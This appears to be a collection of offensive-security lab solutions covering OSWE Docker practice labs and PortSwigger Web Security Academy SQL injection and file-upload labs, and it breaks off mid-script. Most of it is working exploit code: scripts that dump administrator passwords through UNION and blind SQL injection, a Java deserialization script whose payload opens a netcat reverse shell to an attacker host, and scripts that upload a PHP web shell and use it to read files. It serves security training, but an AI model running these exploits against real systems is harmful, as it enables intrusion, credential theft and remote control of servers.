1. OSWE Lab Environment
Docker Setup
Pull and run the global Docker images to start the OSWE practice labs:
-
Blind SQL Injection Lab (Port 8083)
sudo docker run -d -p 8083:80 aravindaakumar/oswe-sqli-lab:blind-sqli
-
Java Deserialization Lab (Port 8080)
docker run -d -p 8080:8080 --name deser-lab aravindaakumar/oswe-deserialization-lab:java-deserialization
-
PHP Type Juggling Lab (Port 8082)
sudo docker run -d -p 8082:80 aravindaakumar/oswe-single-lab:juggling-php
A. Blind SQL Injection (Boolean-Based)
The Vulnerability: The application constructs a SQL query by sticking user input directly into the command without safety checks.
Vulnerable Code (White Box):
$id = $_GET['id'];
$query = "SELECT * FROM courses WHERE id = " . $id;
if ($result->num_rows > 0) { echo "OSWE Course Guide"; }
Full Exploit Code (sqli_poc.py):
import requests
import sys
import string
def exploit(target):
url = target
print(f"[+] {url} is our target")
# Phase 1: Find Password Length
for i in range(1, 50):
payload = f"1 AND LENGTH((SELECT password FROM users WHERE username='admin'))={i}"
params = {'id': payload}
response = requests.get(url, params=params)
if "OSWE Course Guide" in response.text:
print(f"[+] Length of the password is {i}")
break
# Phase 2: Brute Force Characters
charset = string.ascii_letters + string.digits + "{}_-@!?"
password = ""
for j in range(1, i + 1):
for c in charset:
payload = f"1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),{j},1)) = {ord(c)}"
params = {'id': payload}
response = requests.get(url, params=params)
if "OSWE Course Guide" in response.text:
password += c
sys.stdout.write(f"{c}")
sys.stdout.flush()
break # Move to next character
print('')
print(f"[+] Password is {password}")
print("[!] Done :)")
if __name__ == '__main__':
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} http://localhost/index.php")
sys.exit(1)
url = sys.argv[1]
exploit(url)
B. PHP Type Juggling (Auth Bypass)
The Vulnerability: PHP's loose comparison operator (`==`) treats strings starting with `0e` followed by numbers as scientific notation (0).
Vulnerable Code (White Box):
$hash = md5($password);
if ($hash == "0e123456789...") { echo "Authentication Bypassed"; }
Full Exploit Code (juggling_poc.py):
import requests
import sys
def php_magic_hashes():
print("[+] Returning php magic hashes whose md5 evaluate to 0")
return "aabg7XSs"
def exploit(target):
payload = php_magic_hashes()
data = {
"username": "admin",
"password": payload,
"login": "Login+%28Vulnerable%29"
}
url = target
try:
response = requests.post(url, data=data, timeout=5)
except Exception as e:
print("[-] Request failed.", e)
return
if "authentication bypassed" in response.text.lower():
print("[+] Succesfully conducted php type juggling")
print("="*100)
print("[+] Response content snippet:", response.content[:100])
else:
print("[-] Not successfull")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} http://target.com/login.php")
sys.exit(-1)
target = sys.argv[1]
exploit(target)
C. Java Insecure Deserialization
The Vulnerability: The application blindly deserializes Java objects. This allows an attacker to provide a malicious object that triggers code execution.
Vulnerable Code (White Box):
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();
Full Exploit Code (deser_poc.py):
import requests, subprocess, sys, os, base64
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} ")
print(f"Example: {sys.argv[0]} http://victim:8080/api 10.0.0.1 4444")
sys.exit(1)
TARGET_URL = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print("[*] Java Deserialization Exploit")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] LHOST: {LHOST}, LPORT: {LPORT}")
shell = f"nc -e /bin/bash {LHOST} {LPORT}"
COMMAND = shell
print("[*] Generating payload...")
try:
if not os.path.exists("ysoserial.jar"):
print("[!] Download ysoserial.jar first!")
sys.exit(1)
cmd = ["java", "-jar", "ysoserial.jar", "CommonsCollections5", COMMAND]
process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
payload, error = process.communicate()
if process.returncode != 0:
print(f"[!] Failed: {error.decode()[:50]}")
sys.exit(1)
print(f"[+] Payload: {len(payload)} bytes")
# Send it
print("[*] Sending exploit...")
r = requests.post(TARGET_URL, data=payload,
headers={"Content-Type": "application/octet-stream"},
timeout=10)
print(f"[+] Status: {r.status_code}")
if r.status_code == 200:
print("[!] 200 OK - Check your netcat listener!")
else:
print(f"[?] Got {r.status_code} - try other gadget chains")
except Exception as e:
print(f"[!] Error: {e}")
How to Run the Exploits
Prerequisite: For the Java exploit, ensure you have ysoserial.jar inside the directory where you run the script.
1. Run SQL Injection:
python3 sqli_poc.py http://localhost:8083/index.php
2. Run PHP Type Juggling:
python3 juggling_poc.py http://localhost:8082/login.php
3. Run Java Deserialization:
First, start a listener: nc -lvnp 4444
python3 deser_poc.py http://localhost:8080/api <YOUR_IP> 4444
OSWE Lab Results
SQL Injection Output:
Type Juggling Output:
Deserialization Output:
2. PortSwigger SQLi Automation
Automated solutions for Web Security Academy SQL Injection labs.
Apprentice
SQLi in WHERE clause (Hidden Data)
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def sqli_where_clause(s,url,payload):
path="/filter?category="
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload,verify=False,proxies=proxies)
print(r.text)
if "Packaway Carport" in r.text:
print("[+] Congratulations Sqli payload was successful")
else:
print("[+] Payload was not successful")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com ' OR 1=1-- -")
sys.exit(-1)
url=sys.argv[1]
payload=sys.argv[2]
print(payload)
s=requests.Session()
sqli_where_clause(s,url,payload)
Apprentice
SQLi Login Bypass
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input")['value']
return csrf
def sqli_login_bypass(s,url):
csrf=get_csrf_token(s,url)
payload="administrator'--"
data={'csrf':csrf,'username':payload,'password':'doesnotmatter'}
r=s.post(url,data=data,verify=False,proxies=proxies)
print(r.text)
if "Log out" in r.text:
print("[+] Congratulations login was successful")
else:
print("[-] Failed login was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
login_url=url+'/login'
sqli_login_bypass(s,url)
Practitioner
Querying Oracle Database Version
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def sqli_oracle_version(s,url):
path="/filter?category=Pets"
payload="' union select NULL,banner from v$version-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
print(r.text)
soup=BeautifulSoup(r.text,'html.parser')
version=soup.find(string=re.compile(r".*Oracle\sDatabase.*"))
print(version)
if version:
print(f"[+] Congratulations Sqli payload was successful and the version is {version}")
else:
print("[+] Payload was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_oracle_version(s,url)
Practitioner
Querying MySQL/Microsoft Version
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def sqli_mysql_version(s,url):
path="/filter?category=Pets"
payload="' union select NULL,@@version-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
print(r.text)
soup=BeautifulSoup(r.text,'html.parser')
version=soup.find(string=re.compile(r".*\d{1,2}\.\d{1,2}\.\d{1,2}.*"))
print(version)
if version:
print(f"[+] Congratulations Sqli payload was successful and the version is {version}")
else:
print("[+] Payload was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_mysql_version(s,url)
Practitioner
Listing Database Contents (Non-Oracle)
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def make_request(s,url,payload):
r=s.get(url+payload,verify=False,proxies=proxies)
return r.text
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
# Finding specific CSRF input to prevent NoneType errors
csrf=soup.find("input",{"name":"csrf"})['value']
print(csrf)
return csrf
def get_table_name(s,url):
payload=f"' union select NULL,table_name FROM information_schema.tables-- -"
res=make_request(s,url,payload)
print(res)
soup=BeautifulSoup(res,'html.parser')
table_name=soup.find(string=re.compile(r".*users.*"))
print(f"[+] Table name: {table_name}")
return table_name
def get_col_names(s,url,table_name):
payload=f"' union select NULL,column_name from information_schema.columns where table_name='{table_name}'-- -"
res=make_request(s,url,payload)
print(res)
soup=BeautifulSoup(res,'html.parser')
user_col=soup.find(string=re.compile(r".*username.*"))
pass_col=soup.find(string=re.compile(r".*password.*"))
print(f"[+] Username and Password columns are: {user_col} {pass_col}")
return pass_col,user_col
def get_password(s,url,user_col,pass_col,table_name):
payload=f"' union select {user_col},{pass_col} from {table_name}-- -"
res=make_request(s,url,payload)
soup=BeautifulSoup(res,'html.parser')
# Fixed find_next deprecation usage
password=soup.find(string='administrator').parent.find_next('td').contents[0]
print(f"[+] Password is {password}")
return password
def sqli_database_contents(s,url):
login_url=url+'/login'
uri=url+'/filter?category=Gifts'
table_name=get_table_name(s,uri)
pass_col,user_col=get_col_names(s,uri,table_name)
password=get_password(s,uri,user_col,pass_col,table_name)
print(login_url)
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'administrator','password':password}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
print(r.text)
if "Log out" in r.text:
print("[+] Congratulations login was successful")
else:
print("[-] Failed login was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_database_contents(s,url)
Practitioner
Listing Database Contents (Oracle)
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def make_request(s,url,payload):
r=s.get(url+payload,verify=False,proxies=proxies)
return r.text
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
print(csrf)
return csrf
def get_table_name(s,url):
# Oracle uses 'all_tables'
payload=f"' union select NULL,table_name FROM all_tables-- -"
res=make_request(s,url,payload)
print(res)
soup=BeautifulSoup(res,'html.parser')
table_name=soup.find(string=re.compile(r"^USERS.*"))
print(f"[+] Table name: {table_name}")
return table_name
def get_col_names(s,url,table_name):
# Oracle uses 'all_tab_columns'
payload=f"' union select NULL,column_name from all_tab_columns where table_name='{table_name}'-- -"
res=make_request(s,url,payload)
print(res)
soup=BeautifulSoup(res,'html.parser')
user_col=soup.find(string=re.compile(r".*USERNAME.*"))
pass_col=soup.find(string=re.compile(r".*PASSWORD.*"))
print(f"[+] Username and Password columns are: {user_col} {pass_col}")
return pass_col,user_col
def get_password(s,url,user_col,pass_col,table_name):
payload=f"' union select {user_col},{pass_col} from {table_name}-- -"
res=make_request(s,url,payload)
soup=BeautifulSoup(res,'html.parser')
password=soup.find(string='administrator').parent.find_next('td').contents[0]
print(f"[+] Password is {password}")
return password
def sqli_database_contents(s,url):
login_url=url+'/login'
uri=url+'/filter?category=Gifts'
table_name=get_table_name(s,uri)
pass_col,user_col=get_col_names(s,uri,table_name)
password=get_password(s,uri,user_col,pass_col,table_name)
print(login_url)
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'administrator','password':password}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
print(r.text)
if "Log out" in r.text:
print("[+] Congratulations login was successful")
else:
print("[-] Failed login was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_database_contents(s,url)
Practitioner
Blind SQLi with Conditional Responses
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli(s,url):
password=""
for i in range(1,21):
for j in range(32,127):
payload=f"' AND (SELECT ASCII(substring(password,{i},1)) from users where username='administrator')='{j}'--"
payload_enc=urllib.parse.quote(payload)
# You must update the TrackingId and session cookie below for your specific lab instance
cookies={'TrackingId':'2xgUDu9PkgWB7bFG'+payload_enc,'session':'7ebqg9izNwoagVD1MEDkDSKJQRJJO7dq'}
r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
res=r.text
if "Welcome back" in res:
password+=chr(j)
sys.stdout.write('\r'+password)
sys.stdout.flush()
break
else:
sys.stdout.write('\r'+password+chr(j))
sys.stdout.flush()
return password
def main():
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} ")
print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
sys.exit(1)
url = sys.argv[1]
s=requests.Session()
password=blind_sqli(s,url)
if password:
print("[+] The password is ",password)
else:
print("[+] Exploit failed.")
if __name__ == "__main__":
main()
Practitioner
SQL injection UNION attack, determining the number of columns returned by the query
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def sqli_num_columns(s,url):
path="/filter?category=Accessories"
for i in range(1,10):
payload=f"' order by {i}-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
if "500" in str(r.status_code):
print(f"[+] Congratulations Sqli payload was successful and the number of columns is {i-1}")
break
else:
print(f"[+] {i} is the current value of columns")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_num_columns(s,url)
Practitioner
SQL injection UNION attack, finding a column containing text
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def sqli_num_columns(s,url):
path="/filter?category=Accessories"
for i in range(1,10):
payload=f"' order by {i}-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
if "500" in str(r.status_code):
print(f"[+] Congratulations Sqli payload was successful and the number of columns is {i-1}")
return i-1
else:
print(f"[+] {i} is the current value of columns")
def sqli_find_text_column(s,url,num_col):
path="/filter?category=Pets"
for i in range(1,num_col+1):
string="'RUGWTP'"
list=["NULL"]*num_col
list[i-1]=string
payload=f"' union select "+','.join(list)+"-- -"
payload_enc=urllib.parse.quote(payload)
print(payload)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
res=r.text
soup = BeautifulSoup(res, 'html.parser')
code=string.strip('\'')
if soup.body:
result = soup.body.find(string=code)
if result:
print(f"[+] Congratulations! SQLi payload was successful.")
print(f"[+] The column containing text is: {i}")
break
else:
print(f"[-] Text '{code}' not found in body for column {i}")
else:
print(f"[!] Warning: Response for column {i} had no <body> tag. (Status: {r.status_code})")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
num_col=sqli_num_columns(s,url)
sqli_find_text_column(s,url,num_col)
Practitioner
SQL injection UNION attack, retrieving data from other tables
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
print(csrf)
return csrf
def sqli_union_retrieve_data(s,url):
path="/filter?category=Pets"
payload="' union select username,password from users-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
print(r.text)
soup=BeautifulSoup(r.text,'html.parser')
password=soup.find(string=re.compile(r".*administrator.*")).parent.find_next('td').contents[0]
if password:
print(f"[+] Congratulations Sqli payload was successful and the password is {password}")
return password
else:
print("[+] Payload was not successful")
def sqli_login(s,url):
login_url=url+'/login'
password=sqli_union_retrieve_data(s,url)
print(login_url)
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'administrator','password':password}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
print(r.text)
if "Log out" in r.text:
print("[+] Congratulations login was successful")
else:
print("[-] Failed login was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_login(s,url)
Practitioner
SQL injection UNION attack, retrieving multiple values in a single column
import requests
import sys
import urllib3
import urllib
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
print(csrf)
return csrf
def sqli_union_retrieve_data(s,url):
path="/filter?category=Lifestyle"
payload="' union select NULL, username || '*' || password from users-- -"
payload_enc=urllib.parse.quote(payload)
print(payload_enc)
r=s.get(url+path+payload_enc,verify=False,proxies=proxies)
print(r.text)
soup=BeautifulSoup(r.text,'html.parser')
password=soup.find(string=re.compile(r".*administrator.*")).split('*')[1]
if password:
print(f"[+] Congratulations Sqli payload was successful and the password is {password}")
return password
else:
print("[+] Payload was not successful")
def sqli_login(s,url):
login_url=url+'/login'
password=sqli_union_retrieve_data(s,url)
print(login_url)
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'administrator','password':password}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
print(r.text)
if "Log out" in r.text:
print("[+] Congratulations login was successful")
else:
print("[-] Failed login was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
sqli_login(s,url)
Practitioner
Blind SQL injection with conditional errors
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_conditional_errors(s,url):
password=""
for i in range(1,21):
for j in range(32,127):
payload=f"' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,{i},1))='{j}') || '"
payload_enc=urllib.parse.quote(payload)
cookies={'TrackingId':'E9npiBw5yE6C5jiR'+payload_enc,'session':'cUCNgx52sIS2SvXTLDq581AemSEYhJrS'}
r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
res=r.text
if "500" in str(r.status_code):
password+=chr(j)
sys.stdout.write('\r'+password)
sys.stdout.flush()
break
else:
sys.stdout.write('\r'+password+chr(j))
sys.stdout.flush()
return password
def main():
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
sys.exit(1)
url = sys.argv[1]
s=requests.Session()
password=blind_sqli_conditional_errors(s,url)
if password:
print("[+] The password is ",password)
else:
print("[+] Exploit failed.")
if __name__ == "__main__":
main()
Practitioner
Blind SQL injection with time delays
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_time_delay(url):
payload=f"' || (select pg_sleep(10))--"
payload_enc=urllib.parse.quote(payload)
cookies={'TrackingId':'WAn0LdGGrF7H84h2'+payload_enc,'session':'PHKoKo3c9coj2qFHhtPvKGgVQ5hdds1R'}
r=requests.get(url,cookies=cookies,verify=False,proxies=proxies)
res=r.text
if int(r.elapsed.total_seconds()) > 10:
print("[+] Vulnerable to time based blind sqli")
else:
print("[-] Not Vulnerable to time based blind sqli")
def main():
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
sys.exit(1)
url = sys.argv[1]
blind_sqli_time_delay(url)
if __name__ == "__main__":
main()
Practitioner
Blind SQL injection with time delays and information retrieval
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def blind_sqli_time_based_info(s,url):
password=""
for i in range(1,21):
for j in range(32,127):
payload=f" || (select case when (username='administrator' and ascii(substring(password,{i},1))='{j}') then pg_sleep(10) else pg_sleep(-1) end from users)--"
payload_enc=urllib.parse.quote(payload)
cookies={'TrackingId':'Wt7JY1dRl895u74D'+payload_enc,'session':'bMKH4PiLfmgOrFC0AxH8yCip93v6ei6A'}
r=s.get(url,cookies=cookies,verify=False,proxies=proxies)
res=r.text
if int(r.elapsed.total_seconds()) > 9:
password+=chr(j)
sys.stdout.write('\r'+password)
sys.stdout.flush()
break
else:
sys.stdout.write('\r'+password+chr(j))
sys.stdout.flush()
return password
def main():
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://example.com/vulnerable_endpoint")
sys.exit(1)
url = sys.argv[1]
s=requests.Session()
password=blind_sqli_time_based_info(s,url)
if password:
print("[+] The password is ",password)
else:
print("[+] Exploit failed.")
if __name__ == "__main__":
main()
3. PortSwigger File Upload Automation
Automated solutions for Web Security Academy File Upload labs.
Apprentice
Remote code execution via web shell upload
import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
return csrf
def file_upload(s,url):
login_url=url+'/login'
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
if 'Log out' in r.text:
account_url=url+'/my-account'
csrf=get_csrf_token(s,account_url)
avatar_url=url+'/my-account/avatar'
params={'avatar':('system_requirements.php','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
m=MultipartEncoder(fields=params,boundary=boundary)
headers={'Content-Type':m.content_type}
r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
print("[+] The following is the secret file")
shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
res=s.get(shell_url,verify=False,proxies=proxies)
print(res.text)
else:
print("[-] Login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
file_upload(s,url)
Apprentice
Web shell upload via Content-Type restriction bypass
import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
return csrf
def file_upload(s,url):
login_url=url+'/login'
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
if 'Log out' in r.text:
account_url=url+'/my-account'
csrf=get_csrf_token(s,account_url)
avatar_url=url+'/my-account/avatar'
# Changing Content-Type to image/png to bypass filter
params={'avatar':('system_requirements.php','<?php system($_REQUEST["cmd"]); ?>','image/png'),'user':'wiener','csrf':csrf}
boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
m=MultipartEncoder(fields=params,boundary=boundary)
headers={'Content-Type':m.content_type}
r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
print("[+] The following is the secret file")
shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
res=s.get(shell_url,verify=False,proxies=proxies)
print(res.text)
else:
print("[-] Login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
file_upload(s,url)
Practitioner
Web shell upload via path traversal
import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
return csrf
def file_upload(s,url):
login_url=url+'/login'
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
if 'Log out' in r.text:
account_url=url+'/my-account'
csrf=get_csrf_token(s,account_url)
avatar_url=url+'/my-account/avatar'
# Using URL encoding for path traversal
params={'avatar':('..%2fsystem_requirements.php','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
m=MultipartEncoder(fields=params,boundary=boundary)
headers={'Content-Type':m.content_type}
r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
print("[+] The following is the secret file")
# Accessing file one directory up
shell_url=url+'/files/system_requirements.php?cmd='+'cat /home/carlos/secret'
res=s.get(shell_url,verify=False,proxies=proxies)
print(res.text)
else:
print("[-] Login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
file_upload(s,url)
Practitioner
Web shell upload via extension blacklist bypass
import requests
import sys
import urllib3
import random,string
from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
return csrf
def file_upload(s,url):
login_url=url+'/login'
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
if 'Log out' in r.text:
account_url=url+'/my-account'
csrf=get_csrf_token(s,account_url)
avatar_url=url+'/my-account/avatar'
# Step 1: Upload .htaccess to allow custom extension execution
params={'avatar':('.htaccess','AddType application/x-httpd-php .sys','application/octet-stream'),'user':'wiener','csrf':csrf}
boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
m=MultipartEncoder(fields=params,boundary=boundary)
headers={'Content-Type':m.content_type}
response=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
# Step 2: Upload payload with custom extension (.sys)
params1={'avatar':('sys.sys','<?php system($_REQUEST["cmd"]); ?>','application/octet-stream'),'user':'wiener','csrf':csrf}
multi=MultipartEncoder(fields=params1,boundary=boundary)
headers={'Content-Type':multi.content_type}
r=s.post(avatar_url,data=multi,headers=headers,verify=False,proxies=proxies)
print("[+] The following is the secret file")
shell_url=url+'/files/avatars/sys.sys?cmd='+'cat /home/carlos/secret'
res=s.get(shell_url,verify=False,proxies=proxies)
print(res.text)
else:
print("[-] Login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
file_upload(s,url)
Practitioner
Web shell upload via obfuscated file extension
import requests
import sys
import urllib3
import random,string
